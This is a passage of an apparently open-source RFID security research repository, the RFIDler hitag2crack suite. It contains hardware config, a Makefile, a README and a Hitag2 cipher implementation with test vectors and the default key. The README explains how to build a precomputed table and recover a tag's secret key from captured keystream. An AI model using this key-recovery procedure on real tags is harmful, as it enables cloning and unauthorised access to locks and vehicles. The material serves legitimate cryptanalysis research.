SPI1CONbits\r\n// Description: The bitwise define for the SPI status register (i.e. _____bits)\r\n#define SPISTATbits         SPI1STATbits\r\n// Description: The enable bit for the SPI module\r\n#define SPIENABLE           SPICON1bits.ON\r\n// Description: The definition for the SPI baud rate generator register (PIC32)\r\n#define SPIBRG              SPI1BRG\r\n// Description: The TRIS bit for the SCK pin\r\n#define SPICLOCK            TRISDbits.TRISD10\r\n// Description: The TRIS bit for the SDI pin\r\n#define SPIIN               TRISCbits.TRISC4\r\n// Description: The TRIS bit for the SDO pin\r\n#define SPIOUT              TRISDbits.TRISD0\r\n#define SD_CS               LATDbits.LATD9\r\n// Description: SD-SPI Chip Select TRIS bit\r\n#define SD_CS_TRIS          TRISDbits.TRISD9\r\n//SPI library functions\r\n#define putcSPI             putcSPI1\r\n#define getcSPI             getcSPI1\r\n#define OpenSPI(config1, config2)   OpenSPI1(config1, config2)\r\n\r\n// Define setup parameters for OpenADC10 function\r\n// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample\r\n#define ADC_CONFIG1     (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)\r\n// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode\r\n#define ADC_CONFIG2     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n\r\n// Use ADC internal clock | Set sample time\r\n#define ADC_CONFIG3     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)\r\n\r\n// slow sample rate for tuning coils\r\n#define ADC_CONFIG2_SLOW     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n#define ADC_CONFIG3_SLOW     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)\r\n\r\n// use AN11\r\n#define ADC_CONFIGPORT  ENABLE_AN11_ANA\r\n// Do not assign channels to scan\r\n#define ADC_CONFIGSCAN  SKIP_SCAN_ALL\r\n\r\n#define ADC_TO_VOLTS        0.003208F\r\n\r\n\r\n// flash memory - int myvar = *(int*)(myflashmemoryaddress);\r\n\r\n// memory is 0x9D005000 to 0x9D07FFFF\r\n\r\n#define NVM_MEMORY_END 0x9D07FFFF\r\n#define NVM_PAGE_SIZE\t4096\r\n#define NVM_PAGES       2       // config & VTAG\r\n#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))\r\n\r\n// UART timeout in us\r\n#define SERIAL_TIMEOUT                  100\r\n\r\n#endif\r\n"
  },
  {
    "path": "hitag2crack/crack2/Makefile",
    "content": "WARN=-Wall\nINCLUDE=-I../include\nCFLAGS=-c $(WARN) $(INCLUDE)\n# Linux libs\nLIBS=-pthread -D_GNU_SOURCE\n# Mac libs\n# LIBS=\n\nall: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o\n\tcc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS)\n\tcc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)\n\tcc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)\n\nht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h\n\tcc $(CFLAGS) ht2crack2utils.c\n\nhitagcrypto.o: hitagcrypto.c hitagcrypto.h\n\tcc $(CFLAGS) hitagcrypto.c\n\nutilpart.o: utilpart.c util.h\n\tcc $(CFLAGS) utilpart.c\n\nclean:\n\trm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest\n\nfresh: clean all\n"
  },
  {
    "path": "hitag2crack/crack2/README",
    "content": "ht2crack2 suite\n\n\n\nBuild\n-----\n\nEdit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values.\nThese are important if you want it to run quickly.  Ideally set DATAMAX to the largest value\nthat you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of\nvirtual cores you have available, which MUST be a power of 2.  NUM_BUILD_THREADS MUST be >=\nNUM_SORT_THREADS.\n\nCalculate DATAMAX = free RAM available / 65536, and then round down to a power of 10.\n\nThe Makefile is configured for linux.  To compile on Mac, edit it and swap the LIBS= lines.\n\nmake clean\nmake\n\n\nRun ht2crack2buildtable\n-----------------------\n\nMake sure you are in a directory on a disk with at least 1.5TB of space.\n./ht2crack2buildtable\n\nWait a very long time.  Maybe a few days.\n\nThis will create a directory tree called table/ while it is working that will contain\nfiles that will slowly build up in size to approx 20MB each.  Once it has finished making\nthese unsorted files, it will sort them into the directory tree sorted/ and remove the\noriginal files.  It will then exit and you'll have your shiny table.\n\n\nTest with ht2crack2gentests\n---------------------------\n\n./ht2crack2gentests NUMBER_OF_TESTS\n\nto generate NUMBER_OF_TESTS test files.  These will all be named\nkeystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE\n\nTest a single test with\n./runtest.sh KEYSTREAMFILE\n\nor manually with\n./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE\n\nor run all tests with\n./runalltests.sh\n\nFeel free to edit the shell scripts to find your tools.  You might want to create a\nsymbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the\ntable.\n\nIf the tests work, then the table is sound.\n\n\nSearch for key in real keystream\n--------------------------------\n\nRecover 2048 bits of keystream from the target RFID tag with the RFIDler.  You will have had\nto supply an NR value and you should know the tag's UID (you can get this using the RFIDler).\n\n./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE\n\n\n"
  },
  {
    "path": "hitag2crack/crack2/hitagcrypto.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n// uncomment this to build file as a standalone crypto test program\n// #define UNIT_TEST\n// also uncomment to include verbose debug prints\n// #define TEST_DEBUG\n\n//#include <GenericTypeDefs.h>\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n#ifdef UNIT_TEST\n#include <stdio.h>\n#endif\n\n#if defined(UNIT_TEST) && defined(TEST_DEBUG)\n// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.\n// This may need changing for other compilers/platforms.\n#define DEBUG_PRINTF(...) printf(__VA_ARGS__)\n#else\n#define DEBUG_PRINTF(...)\n#endif\n\n\n/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)\n\n   Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft\n   fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.\n   At about the same time, late 1980s to early 1990s, Mikron developed the\n   similarly featured Mifare micropayment card for 13.56MHz RFID.\n   (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a\n   priority date of 23 Aug 1990.)\n   Mikron was subsequently acquired by Philips Semiconductors in 1995.\n   Philips Semiconductors divsion subsequently became NXP.\n\n   + Modulation read/write device -> transponder: 100 % ASK and binary pulse\n     length coding\n   + Modulation transponder -> read/write device: Strong ASK modulation,\n     selectable Manchester or Biphase coding\n   + Hitag S, Hitag u; anti-collision procedure\n   + Fast anti-collision protocol\n   + Hitag u; optional Cyclic Redundancy Check (CRC)\n   + Reader Talks First mode\n   + Hitag 2 & later; Transponder Talks First (TTF) mode\n   + Temporary switch from Transponder Talks First into Reader Talks First\n     (RTF) Mode\n   + Data rate read/write device to transponder: 5.2 kbit/s\n   + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s\n   + 32-bit password feature\n   + Hitag 2, S = 32-bit Unique Identifier\n   + Hitag u = 48-bit Unique Identifier\n   + Selectable password modes for reader / tag mutual authentication\n     (Hitag 1 has 2 pairs of keys, later versions have 1 pair)\n   + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key\n\n   Known tag types:\n\n   HITAG 1            2048 bits total memory\n\n   HITAG 2            256 Bit total memory        Read/Write\n                      8 pages of 32 bits, inc UID (32),\n\t\t      secret key (64), password (24), config (8)\n\n   HITAG S 32         32 bits Unique Identifier   Read Only\n   HITAG S 256        256 bits total memory       Read/Write\n   HITAG S 2048       2048 bits total memory      Read/Write\n\n   HITAG u RO64       64 bits total memory        Read Only\n   HITAG u            128 bits total memory       Read/Write\n   HITAG u Advanced   512 bits total memory       Read/Write\n   HITAG u Advanced+  1760 bits total memory      Read/Write\n\n   Default 48-bit key for Hitag 2, S encryption:\n       \"MIKRON\"       =  O  N  M  I  K  R\n       Key            = 4F 4E 4D 49 4B 52\n\n*/\n\n\n// We want the crypto functions to be as fast as possible, so optimize!\n// The best compiler optimization in Microchip's free XC32 edition is -O1\n//#pragma GCC optimize(\"O1\")\n\n// private, nonlinear function to generate 1 crypto bit\nstatic uint32_t hitag2_crypt(uint64_t x);\n\n\n// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    const uint32_t ht2_function4a = 0x2C79;\t// 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671;\t// 0110 0110 0111 0001\n    const uint32_t ht2_function5c = 0x7907287B;\t// 0111 1001 0000 0111 0010 1000 0111 1011\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;\n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    DEBUG_PRINTF(\"hitag2_crypt bitindex = %02x\\n\", bitindex);\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n/*\n * Parameters:\n * Hitag_State* pstate - output, internal state after initialisation\n * uint64_t sharedkey  - 48 bit key shared between reader & tag\n * uint32_t serialnum  - 32 bit tag serial number\n * uint32_t initvector - 32 bit random IV from reader, part of tag authentication\n */\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)\n{\n    // init state, from serial number and lowest 16 bits of shared key\n    uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;\n\n    // mix the initialisation vector and highest 32 bits of the shared key\n    initvector ^= (uint32_t) (sharedkey >> 16);\n\n    // move 16 bits from (IV xor Shared Key) to top of uint64_t state\n    // these will be XORed in turn with output of the crypto function\n    state |= (uint64_t) initvector << 48;\n    initvector >>= 16;\n\n    // unrolled loop is faster on PIC32 (MIPS), do 32 times\n    // shift register, then calc new bit\n    state >>= 1;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    // highest 16 bits of IV XOR Shared Key\n    state |= (uint64_t) initvector << 47;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state ^= (uint64_t) hitag2_crypt(state) << 47;\n\n    DEBUG_PRINTF(\"hitag2_init result = %012I64x\\n\", state);\n    pstate->shiftreg = state;\n    /* naive version for reference, LFSR has 16 taps\n    pstate->lfsr = state ^ (state >>  2) ^ (state >>  3) ^ (state >>  6)\n              ^ (state >>  7) ^ (state >>  8) ^ (state >> 16) ^ (state >> 22)\n              ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);\n    */\n    {\n        // optimise with one 64-bit intermediate\n        uint64_t temp = state ^ (state >> 1);\n        pstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n                  ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n                  ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n                  ^ (temp >> 42) ^ (temp >> 46);\n    }\n}\n\n\n/*\n * Return up to 32 crypto bits.\n * Last bit is in least significant bit, earlier bits are shifted left.\n * Note that the Hitag transmission protocol is least significant bit,\n * so we may want to change this, or add a function, that returns the\n * crypto output bits in the other order.\n *\n * Parameters:\n * Hitag_State* pstate - in/out, internal cipher state after initialisation\n * uint32_t steps      - number of bits requested, (capped at 32)\n */\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)\n{\n    uint64_t state = pstate->shiftreg;\n    uint32_t result = 0;\n    uint64_t lfsr = pstate->lfsr;\n\n    if (steps == 0)\n        return 0;\n\n// commented out the restriction on number of steps so we can step further in one go.\n// this still only returns 32 bits obviously\n//    if (steps > 32)\n//        steps = 32;\n\n    do {\n        // update shift registers\n        if (lfsr & 1) {\n            state = (state >> 1) | 0x800000000000;\n            lfsr = (lfsr >> 1) ^ 0xB38083220073;\n\n            // accumulate next bit of crypto\n            result = (result << 1) | hitag2_crypt(state);\n        } else {\n            state >>= 1;\n            lfsr >>= 1;\n\n            result = (result << 1) | hitag2_crypt(state);\n        }\n    } while (--steps);\n\n    DEBUG_PRINTF(\"hitag2_nstep state = %012I64x, result %02x\\n\", state, result);\n    pstate->shiftreg = state;\n    pstate->lfsr = lfsr;\n    return result;\n}\n\n// end of crypto core, revert to default optimization level\n//#pragma GCC reset_options\n\n\n/* Test code\n\n   Test data and below information about it comes from\n     http://www.mikrocontroller.net/attachment/102194/hitag2.c\n     Written by \"I.C. Wiener 2006-2007\"\n\n   \"MIKRON\"\t\t=  O  N  M  I  K  R\n    Key\t\t\t= 4F 4E 4D 49 4B 52\t\t- Secret 48-bit key\n    Serial\t\t= 49 43 57 69\t\t\t- Serial number of the tag, transmitted in clear\n    Random\t\t= 65 6E 45 72\t\t\t- Random IV, transmitted in clear\n    ~28~DC~80~31\t= D7 23 7F CE\t\t\t- Authenticator value = inverted first 4 bytes of the keystream\n\n   The code below must print out \"D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6\".\n   The inverse of the first 4 bytes is sent to the tag to authenticate.\n   The rest is encrypted by XORing it with the subsequent keystream.\n\n*/\n\n\n/*\nunsigned int hitag2_benchtest_gen32()\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n\n    // init crypto\n    hitag2_init(&state, key, serial, initvec);\n\n    // benchmark: generation of 32 bit stream (excludes initialisation)\n    GetTimer_us(RESET);\n\n    (void) hitag2_nstep(&state, 32);\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned int hitag2_benchtest(uint32_t count)\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n    uint32_t i;\n\n    // start timer\n    GetTimer_us(RESET);\n\n    // benchmark: initialise crypto & generate 32 bit authentication\n    // adding i stops gcc optimizer moving init function call out of loop\n    for (i = 0; i < count; i++) {\n        hitag2_init(&state, key, serial, initvec + i);\n        (void) hitag2_nstep(&state, 32);\n    }\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned hitag2_verifytest()\n{\n    uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };\n    // key = 0x4ad292b272f2  after each byte has its bit order reversed\n    // serial = 0x96eac292    ditto\n    // initvec = 0x4ea276a6   ditto\n    const uint64_t key = rev64 (0x524B494D4E4FUL);\n    const uint32_t serial = rev32 (0x69574349);\n    const uint32_t initvec = rev32 (0x72456E65);\n    \n    uint32_t i;\n    Hitag_State state;\n\n    // initialise\n    hitag2_init(&state, key, serial, initvec);\n\n    for (i = 0; i < 16; i++) {\n        // get 8 bits of keystream\n        uint8_t x = (uint8_t) hitag2_nstep(&state, 8);\n        uint8_t y = expected[i];\n\n        DEBUG_PRINTF (\"%02X (%02X) \\n\", x, y);\n        if (x != y)\n            return 0;\n    }\n\n    return 1;\n}\n*/\n\n#ifdef UNIT_TEST\n\nint main(int argc, char* argv[])\n{\n    unsigned pass = hitag2_verifytest();\n\n    printf (\"Crypto Verify test = %s\\n\\n\", pass ? \"PASS\" : \"FAIL\");\n\n    if (pass) {\n        hitag2_benchtest(10000);\n    }\n\n    return 0;\n}\n\n#endif // UNIT_TEST\n"
  },
  {
    "path": "hitag2crack/crack2/hitagcrypto.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code 